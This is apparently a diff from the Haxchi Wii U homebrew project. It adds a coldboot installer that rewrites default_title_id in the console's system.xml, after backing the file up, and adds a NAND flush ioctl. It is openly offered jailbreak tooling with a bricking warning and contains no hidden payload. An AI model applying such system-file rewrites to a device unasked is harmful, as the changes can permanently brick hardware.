fsa_write(fsaFd, mlcFd, newXml, newSize);
IOSUHAX_FSA_CloseFile(fsaFd, mlcFd);
@ -472,6 +603,7 @@ int Menu_Main(void)
}
free(newXml);
}
free(metaBuf);
}
free(titleBuf);
}
@ -568,7 +700,123 @@ int Menu_Main(void)
free(bootSound);
}
#ifdef CB
if(IOSUHAX_FSA_OpenFile(fsaFd, systemXmlPath, "rb", &slcFd) >= 0)
{
//read in system xml file
fileStat_s stats;
IOSUHAX_FSA_StatFile(fsaFd, slcFd, &stats);
size_t sysXmlSize = stats.size;
char *sysXmlBuf = malloc(sysXmlSize+1);
memset(sysXmlBuf, 0, sysXmlSize+1);
fsa_read(fsaFd, slcFd, sysXmlBuf, sysXmlSize);
IOSUHAX_FSA_CloseFile(fsaFd, slcFd);
slcFd = -1;
xmlDocPtr doc = xmlReadMemory(sysXmlBuf, sysXmlSize, "system.xml", "utf-8", 0);
//change default title id
int idFound = 0, idCorrect = 0;
xmlNode *root_element = xmlDocGetRootElement(doc);
xmlNode *cur_node = NULL;
for (cur_node = root_element->children; cur_node; cur_node = cur_node->next) {
if (cur_node->type == XML_ELEMENT_NODE) {
if(memcmp(cur_node->name, "default_title_id", 17) == 0)
{
if(xmlNodeGetContent(cur_node) == NULL || !strlen((char*)xmlNodeGetContent(cur_node))) continue;
if(memcmp(sysmenuId, (char*)xmlNodeGetContent(cur_node), 17) == 0) idCorrect++;
idFound++;
}
}
}
if(idFound != 1)
println(line++,"default_title_id missing!");
else if(idCorrect != 1)
println(line++,"default_title_id not set to System Menu!");
else
{
int xmlBackedUp = 0;
if(IOSUHAX_FSA_OpenFile(fsaFd, syshaxXmlPath, "rb", &slcFd) < 0)
{
//write syshax.xml
if(IOSUHAX_FSA_OpenFile(fsaFd, syshaxXmlPath, "wb", &slcFd) >= 0)
{
println(line++,"Writing syshax.xml...");
fsa_write(fsaFd, slcFd, sysXmlBuf, sysXmlSize);
xmlBackedUp = 1;
IOSUHAX_FSA_CloseFile(fsaFd, slcFd);
slcFd = -1;
}
}
else
{
println(line++,"syshax.xml already found, skipping...");
xmlBackedUp = 1;
IOSUHAX_FSA_CloseFile(fsaFd, slcFd);
slcFd = -1;
}
if(xmlBackedUp == 0)
println(line++,"Failed to back up system.xml!");
else
{
idFound = 0, idCorrect = 0;
root_element = xmlDocGetRootElement(doc);
cur_node = NULL;
for (cur_node = root_element->children; cur_node; cur_node = cur_node->next) {
if (cur_node->type == XML_ELEMENT_NODE) {
if(memcmp(cur_node->name, "default_title_id", 17) == 0)
{
if(xmlNodeGetContent(cur_node) == NULL || !strlen((char*)xmlNodeGetContent(cur_node))) continue;
if(memcmp(sysmenuId, (char*)xmlNodeGetContent(cur_node), 17) == 0)
{
xmlNodeSetContent(cur_node, (xmlChar*)new_title_id);
idCorrect++;
}
idFound++;
}
}
}
if(idFound != 1)
println(line++,"default_title_id missing!");
else if(idCorrect != 1)
println(line++,"default_title_id not set to System Menu!");
else
{
//back to xml
xmlChar *newXml = NULL;
int newSize = 0;
xmlSaveNoEmptyTags = 0; //yep, different from meta.xml style
xmlDocDumpFormatMemoryEnc(doc, &newXml, &newSize, "utf-8", 0);
xmlFreeDoc(doc);
if(newXml != NULL && newSize > 0)
{
//libxml2 adds in extra \n at the end
if(newXml[newSize-1] == '\n' && sysXmlBuf[sysXmlSize-1] != '\n')
{
newXml[newSize-1] = '\0';
newSize--;
}
//write back to nand
if(IOSUHAX_FSA_OpenFile(fsaFd, systemXmlPath, "wb", &slcFd) >= 0)
{
println(line++,"Writing system.xml...");
//UTF-8 BOM
char bom[3] = { 0xEF, 0xBB, 0xBF };
if(memcmp(newXml, bom, 3) != 0 && memcmp(sysXmlBuf, bom, 3) == 0)
fsa_write(fsaFd, slcFd, bom, 0x03);
fsa_write(fsaFd, slcFd, newXml, newSize);
IOSUHAX_FSA_CloseFile(fsaFd, slcFd);
slcFd = -1;
}
free(newXml);
}
}
}
}
free(sysXmlBuf);
}
println(line++,"Done installing CBHC!");
#else
println(line++,"Done installing Haxchi!");
#endif
prgEnd:
if(tList)
@ -578,12 +826,16 @@ prgEnd:
//close down everything fsa related
if(fsaFd >= 0)
{
if(slcFd >= 0)
IOSUHAX_FSA_CloseFile(fsaFd, slcFd);
if(mlcFd >= 0)
IOSUHAX_FSA_CloseFile(fsaFd, mlcFd);
if(sdFd >= 0)
IOSUHAX_FSA_CloseFile(fsaFd, sdFd);
if(sdMounted)
IOSUHAX_FSA_Unmount(fsaFd, sdCardVolPath, 2);
if(IOSUHAX_FSA_FlushVolume(fsaFd, "/vol/storage_mlc01") == 0)
println(line++, "Flushed NAND Cache!");
IOSUHAX_FSA_Close(fsaFd);
}
//close out old mcp instance

View File

@ -61,6 +61,20 @@ int FSA_Unmount(int fd, char* path, u32 flags)
return ret;
}
int FSA_FlushVolume(int fd, char* volume_path)
{
u8* iobuf = allocIobuf();
u32* inbuf = (u32*)iobuf;
u32* outbuf = (u32*)&iobuf[0x520];
strncpy((char*)&inbuf[0x01], volume_path, 0x27F);
int ret = svcIoctl(fd, 0x1B, inbuf, 0x520, outbuf, 0x293);
freeIobuf(iobuf);
return ret;
}
int FSA_MakeDir(int fd, char* path, u32 flags)
{
u8* iobuf = allocIobuf();

View File

@ -31,6 +31,7 @@ int FSA_Open();
int FSA_Mount(int fd, char* device_path, char* volume_path, u32 flags, char* arg_string, int arg_string_len);
int FSA_Unmount(int fd, char* path, u32 flags);
int FSA_FlushVolume(int fd, char* volume_path);
int FSA_GetDeviceInfo(int fd, char* device_path, int type, u32* out_data);

View File

@ -70,6 +70,7 @@
#define IOCTL_FSA_RAW_WRITE 0x56
#define IOCTL_FSA_RAW_CLOSE 0x57
#define IOCTL_FSA_CHANGEMODE 0x58
#define IOCTL_FSA_FLUSHVOLUME 0x59
//static u8 threadStack[0x1000] __attribute__((aligned(0x20)));
@ -228,6 +229,14 @@ static int ipc_ioctl(ipcmessage *message)
message->ioctl.buffer_io[0] = FSA_Unmount(fd, device_path, flags);
break;
}
case IOCTL_FSA_FLUSHVOLUME:
{
int fd = message->ioctl.buffer_in[0];
char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1];
message->ioctl.buffer_io[0] = FSA_FlushVolume(fd, path);
break;
}
case IOCTL_FSA_GETDEVICEINFO:
{
int fd = message->ioctl.buffer_in[0];

BIN
release/cbhc/bootDrcTex.tga Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 MiB

BIN
release/cbhc/bootTvTex.tga Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.6 MiB

BIN
release/cbhc/iconTex.tga Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 64 KiB

1
release/cbhc/title.txt Normal file
View File

@ -0,0 +1 @@
CBHC

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.9 KiB

View File

@ -0,0 +1,12 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<app version="1">
<name>CBHC</name>
<coder>FIX94</coder>
<version>1.0</version>
<url>https://github.com/FIX94/haxchi</url>
<release_date>20161210200000</release_date>
<short_description>Coldboot Haxchi Installer</short_description>
<long_description>WARNING! This will install Coldboot Haxchi on your system.
ONLY USE THIS IF YOU ARE WILLING TO TAKE A RISK OF BRICKING YOUR CONSOLE.
</long_description>
</app>

View File

@ -2,9 +2,9 @@
<app version="1">
<name>Haxchi</name>
<coder>FIX94</coder>
<version>2.2u1</version>
<version>2.3</version>
<url>https://github.com/FIX94/haxchi</url>
<release_date>20161201200000</release_date>
<release_date>20161210200000</release_date>
<short_description>Haxchi Installer</short_description>
<long_description>This will install Haxchi on your system.
</long_description>